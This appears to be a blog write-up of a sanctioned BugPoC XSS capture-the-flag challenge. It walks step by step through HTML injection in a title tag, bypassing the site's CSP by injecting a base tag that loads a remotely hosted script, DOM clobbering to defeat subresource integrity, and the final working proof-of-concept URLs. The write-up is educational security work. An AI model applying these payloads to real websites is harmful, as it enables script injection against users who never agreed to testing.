I’ve been getting into XSS challenges over the last few weeks and BugPoc recently announced a nice tough one:
Check out our XSS CTF! Skip an Amazon Interview + $2k in prizes!
— BugPoC (@bugpoc_official) November 4, 2020
Submit solutions to before 11/09 10PM EDT.
Rules: Must alert(origin), must bypass CSP, must work in Chrome, must provide a BugPoC demo
Good luck!https://t.co/aC97HcnibP#bugbountytips
Getting Started
So, let’s take a look around the challenge site. It looks like we have a “wacky text generator”, which takes some text from a <textarea>
and makes it “wacky” by applying a bunch of different fonts and colours to individual characters.
After trying the obvious approach of using <script>alert(origin)</script>
and failing, it’s time to dig into the code behind this page.
A quick scan of the HTML reveals an iframe which takes the input text and writes the styled output. Anything that takes input and returns output which is a function of it is a great first place to look for an XSS attack vector, so let’s dig deeper.
Navigating straight to the iframe src address (https://wacky.buggywebsite.com/frame.html?param=Hello,%20World!
) results in the following message:
Even though we see this message, we can see our input is still visible inside the <title>
tag of the resultant page. Let’s try to abuse this and try to inject some JavaScript.
Content Security Policy
So using the URL https://wacky.buggywebsite.com/frame.html?param=%3C/title%3E%3Cscript%3Ealert(origin)%3C/script%3E
(closing the title tag as Chrome won’t interpret script tags between them), we get the following output:
Success! But wait, we don’t see an alert box when we visit the page. Instead we see an error in the console explaining what’s going on. We’re violating the site’s Content Security Policy
, meaning Chrome will refuse to interpret our injected script.
The CSP is in this case defined in the Content-Security-Policy
HTTP header.
There’s a great resource we can use for learning more about CSPs at content-security-policy.com.
Let’s break the policy down and use the above link to turn each part into something meaningful.
script-src 'nonce-pelundurtnhv' 'strict-dynamic'
This allows script tags to be loaded in two different ways.
The nonce-pelundurtnhv
part means that any <script>
tag with a nonce
attribute of pelundurtnhv
will be interpreted. So could we inject something like </title><script nonce="pelundurtnhv">alert(origin)</script>
to comply with this? Well, no. The nonce
value is randomly generated on each page load. Unless we can predict the behaviour of the server’s RNG, we won’t be able to guess a valid nonce value and get our script executed. So it looks like it’s time to forget about the nonce and move on.
The strict-dynamic
part means any allowed script can add more scripts to the page, and these will automatically be allowed. So if we could trick one of the existing script blocks to load a malicious script of ours, we could get our own code running.
frame-src 'self'
This allows iframes with a src
matching the site origin, so we can load iframes from https://wacky.buggywebsite.com/*
.
object-src 'none'
This disallows all sources of browser plugins such as <object>
, <applet>
, <embed>
. We won’t be using these in our solution then.
Analysing the <script> Tags
So we’re looking to abuse an existing <script>
tag to trick it into loading a script of our own.
Since one of the requirements of the challenge involves creating a proof-of-concept hosted on bugpoc.com, it seems as good a place as any to host the script file we’re going to try to inject. We can use the Mock Endpoint tool to do this. It’s essentially a handy endpoint that we can configure in a number of ways. In this instance, we’re going to set some basic headers and a JavaScript payload, via a simple 200 OK
response.
Now we have our script ready, let’s look for a way to inject it using the existing script tags on the site. Taking a look at the contents of frame.html
, we can see several potential candidates.
The first doesn’t look like it has a great deal of potential:
1
2
3
4
5
6
7
8
9
10
<script nonce="efkzuyfqivsy">
window.dataLayer = window.dataLayer || [];
function gtag(){dataLayer.push(arguments);}
gtag('js', new Date());
gtag('config', 'UA-154052950-4');
!function(){var g=window.alert;window.alert=function(b){g(b),g(atob("TmljZSBKb2Igd2l0aCB0aGlzIENURiEgSWYgeW91IGVuam95ZWQgaGFja2luZyB0aGlzIHdlYnNpdGUgdGhlbiB5b3Ugd291bGQgbG92ZSBiZWluZyBhbiBBbWF6b24gU2VjdXJpdHkgRW5naW5lZXIhIEFtYXpvbiB3YXMga2luZCBlbm91Z2ggdG8gc3BvbnNvciBCdWdQb0Mgc28gd2UgY291bGQgbWFrZSB0aGlzIGNoYWxsZW5nZS4gUGxlYXNlIGNoZWNrIG91dCB0aGVpciBqb2Igb3BlbmluZ3Mh"))}}();
</script>
The first tag sets up Google Analytics, and then overrides the alert()
function with it’s own. Digging into this reveals a base64 encoded success message meant for later when we solve the challenge. Unless there’s a vulnerability in the analytics code, the chances are this isn’t the route we’re meant to take.
The second tag is a bit meatier, and handles the main functionality - it makes text “wacky”:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
<script nonce="efkzuyfqivsy">
// array of colors
var colors = [
"#006633",
"#00AB8E",
"#009933",
"#00CC33",
"#339966",
];
// array of fonts
var fonts = [
"baloo-bhaina",
"josefin-slab",
"arvo",
"lato",
"volkhov",
"abril-fatface",
"ubuntu",
"roboto",
"droid-sans-mono",
"anton",
];
function randomInteger(max) {
return Math.floor(Math.random() * Math.floor(max));
}
function makeRandom(element) {
for ( var i = 0; i < element.length; i++) {
var createNewText = '';
var htmlColorTag = 'color:';
for ( var j = 0; j < element[i].textContent.length; j++ ) {
var riFonts = randomInteger(fonts.length);
var riColors = randomInteger(colors.length);
createNewText = createNewText + "<span class='" + fonts[riFonts] + "' style='" + htmlColorTag + colors[riColors] + "'>" + element[i].textContent[j] + "</span>";
}
element[i].innerHTML = createNewText;
}
}
var text = document.getElementsByClassName('text');
makeRandom(text);
</script>
It doesn’t look exploitable in any obvious way. The only controllable input is the main input to the page, and this is escaped and broken down into single entities, each of which is wrapped in <span>
tags.
Finally, the third script looks a little more interesting:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<script nonce="efkzuyfqivsy">
window.fileIntegrity = window.fileIntegrity || {
'rfc' : ' https://w3c.github.io/webappsec-subresource-integrity/',
'algorithm' : 'sha256',
'value' : 'unzMI6SuiNZmTzoOnV4Y9yqAjtSOgiIgyrKvumYRI6E=',
'creationtime' : 1602687229
}
// verify we are in an iframe
if (window.name == 'iframe') {
// securely load the frame analytics code
if (fileIntegrity.value) {
// create a sandboxed iframe
analyticsFrame = document.createElement('iframe');
analyticsFrame.setAttribute('sandbox', 'allow-scripts allow-same-origin');
analyticsFrame.setAttribute('class', 'invisible');
document.body.appendChild(analyticsFrame);
// securely add the analytics code into iframe
script = document.createElement('script');
script.setAttribute('src', 'files/analytics/js/frame-analytics.js');
script.setAttribute('integrity', 'sha256-'+fileIntegrity.value);
script.setAttribute('crossorigin', 'anonymous');
analyticsFrame.contentDocument.body.appendChild(script);
}
} else {
document.body.innerHTML = `
<h1>Error</h1>
<h2>This page can only be viewed from an iframe.</h2>
<video width="400" controls>
<source src="movie.mp4" type="video/mp4">
</video>`
}
</script>
This script is appending an additional script tag to the page, which is exactly what we’re looking for!
There are a few problems to solve if we want to exploit this:
- This will only happen if we’re inside an iframe, or rather, if the name of the window is
iframe
. - The script to be loaded is hardcoded as
files/analytics/js/frame-analytics.js
. We can’t change this path. - The script tag being appended has an
integrity
tag. This means the SHA256 hash of the script will be checked to make sure it is loading the expected content and not something being maliciously injected. - The iframe the script is injected into is sandboxed, meaning we aren’t allowed modals (e.g.
alert()
) by default.
So, a non-trivial set of hurdles to overcome. Let’s not get overwhelmed, and instead let’s tackle them one at a time.
Solving Problem 1: The Iframe Check
First, we’ll look at the iframe check. We essentially need to make the following condition evaluate as true
:
1
if (window.name == 'iframe') {
This is actually quite an easy one to work around, and there are 2 obvious solutions here. If we set up our own web page that includes JavaScript which sets window.name
, it will actually be preserved if we then redirect to the challenge site. Something like:
1
2
3
4
<script>
window.name = 'iframe';
window.location = 'https://wacky.buggywebsite.com/frame.html?param=Hello,%20World!';
</script>
We can try it out by running the above in the console.
It works!
An alternative method would be to use the HTML injection we found earlier to inject an iframe into the page. We could use something like https://wacky.buggywebsite.com/frame.html?param=%3C/title%3E%3C/head%3E%3Cbody%3E%3Ciframe%20name=%22iframe%22%20src=%22https://wacky.buggywebsite.com/frame.html?param=it%20works%22%3E%3C/iframe%3E%3C/body%3E%3C/html%3E%3C!--
:
This works too! I would generally prefer the second approach as it doesn’t require an HTML page to be hosted elsewhere, but since we’re hosting a PoC on BugPoc for this challenge, we may as well use the first. It means our URL can be a bit simpler too, which always helps when assembling a complex payload.
Either way, problem 1 is solved.
Solving Problem 2: Hardcoded Script Src
The script being loaded has a hardcoded src
of files/analytics/js/frame-analytics.js
.
1
script.setAttribute('src', 'files/analytics/js/frame-analytics.js');
Well, there’s nothing we can do to modify a hardcoded path, right? Well, actually, it isn’t completely hardcoded. It’s a relative URL, not an absolute one. Relative to what? The base URL, which in this case is https://wacky.buggywebsite.com/
, meaning the final script loaded would be https://wacky.buggywebsite.com/files/analytics/js/frame-analytics.js
. If we had way to change the base URL to https://evil.com/
, the script would be loaded from https://evil.com/files/analytics/js/frame-analytics.js
instead. If only it were that simple.
Well, it is that simple! We can use a base tag to achieve this. We can inject this in using the HTML injection vulnerability we discovered earlier.
We already have our code hosted by BugPoc, but it’s not at a path that ends with files/analytics/js/frame-analytics.js
. We can correct this by using another useful BugPoc feature: a Flexible Redirector. A flexible redirector redirects a request for any path on to another location. We can use it to redirect to the mock endpoint we created earlier. In this case BugPoc gives us the URL https://xbwvcxixjx6o.redir.bugpoc.ninja
.
We can now add this to a base tag to load our script onto the page, so let’s update our PoC accordingly:
1
2
3
4
<script>
window.name = 'iframe';
window.location = 'https://wacky.buggywebsite.com/frame.html?param=%3C/title%3E%3Cbase%20href=%22https://xbwvcxixjx6o.redir.bugpoc.ninja%22/%3E';
</script>
No alert()
is visible, but checking the network panel reveals that our script is being successfully loaded:
Nice! We can see why it isn’t being run if we check the console:
It’s blocked by SRI, which is problem 3 on our list…
Problem 3: Subresource Integrity Checking
Subresource Integrity (SRI) is another useful browser security feature. The hash of a file can be specified in the integrity
attribute of the tag used to load it, and the browser will check that the hash of the actual loaded file matches the specified one. This prevents malicious actors replacing scripts with malicious ones.
It’s unlikely that we need to look for a Chrome bug here as if such a bug existed, Chrome would likely be patched before the challenge was over. Instead we need to look at the specific implementation within the challenge code.
Let’s strip out the irrelevant code and focus on the SRI bits:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
window.fileIntegrity = window.fileIntegrity || {
'rfc' : ' https://w3c.github.io/webappsec-subresource-integrity/',
'algorithm' : 'sha256',
'value' : 'unzMI6SuiNZmTzoOnV4Y9yqAjtSOgiIgyrKvumYRI6E=',
'creationtime' : 1602687229
}
// ...
// securely load the frame analytics code
if (fileIntegrity.value) {
// ...
// securely add the analytics code into iframe
script = document.createElement('script');
script.setAttribute('src', 'files/analytics/js/frame-analytics.js');
script.setAttribute('integrity', 'sha256-'+fileIntegrity.value);
analyticsFrame.contentDocument.body.appendChild(script);
}
// ...
The actual hash that gets set in the integrity
attribute of the script is defined in fileIntegrity.value
, which itself is set on the first line(s) of the above snippet. And here’s where there’s a bit of an irregularity:
1
2
window.fileIntegrity = window.fileIntegrity || {
// ...
The fileIntegrity
object has it’s value set here, but it keeps it’s original value if one is defined. Interesting! It’s not defined elsewhere on the page, so why would it already be defined? And more importantly, can we define it?
You can reference elements within the DOM in JavaScript using window.{id}
. For example:
1
2
3
4
<input type="text" id="fileIntegrity" value="itworks" />
<script>
console.log(window.fileIntegrity.value);
</script>
The above results in itworks
being logged to the console. So all we need to do is inject an input
tag with an id of fileIntegrity
and a value
of the SHA256 hash of the file we’re trying to inject.
Updating our PoC gives us:
1
2
3
4
<script>
window.name = 'iframe';
window.location = 'https://wacky.buggywebsite.com/frame.html?param=%3C/title%3E%3Cbase%20href=%22https://xbwvcxixjx6o.redir.bugpoc.ninja%22/%3E%3Cinput%20id%3d%22fileIntegrity%22%20value%3d%22sot4TsoYPMqH9HF0f7P0xsez7m6YnNiGcQWr7OJ6FBc%3d%22%2f%3E';
</script>
It works! The integrity error is gone from the console. We still don’t get an alert though, as the iframe is sandboxed…
Solving Problem 4: Sandboxed Iframe
We can’t create modals within the iframe where our code is being run. The solution here is a simple one - call the alert()
function on the parent frame instead.
We’ll need to create a new Mock Endpoint using the following:
And then create a new Flexible Redirector for it:
Finally, adjusting our PoC code to include our new flexible redirector URL and the hash of our new file gives us:
1
2
3
4
<script>
window.name = 'iframe';
window.location = 'https://wacky.buggywebsite.com/frame.html?param=%3C/title%3E%3Cbase%20href=%22https://l7u6e2pccty7.redir.bugpoc.ninja%22/%3E%3Cinput%20id%3d%22fileIntegrity%22%20value%3d%22QkIPs1Inueee8IH%2bHXpScbWfI0zPgWJvCB9LGWZH/Wc%3d%22%2f%3E';
</script>
Boom! We have a working XSS!
We can host our PoC on BugPoc too, to make things easier to reproduce when submitting our report.
Here’s the one I created:
Link: https://bugpoc.com/poc#bp-kvVxxXyn Password: InsIPIdPug75
You’ll need to be running Chrome in order for it to work.
Thanks to BugPoc for a great challenge (and for some useful tools too.)
I’m looking forward to the next one!
Comments powered by Disqus.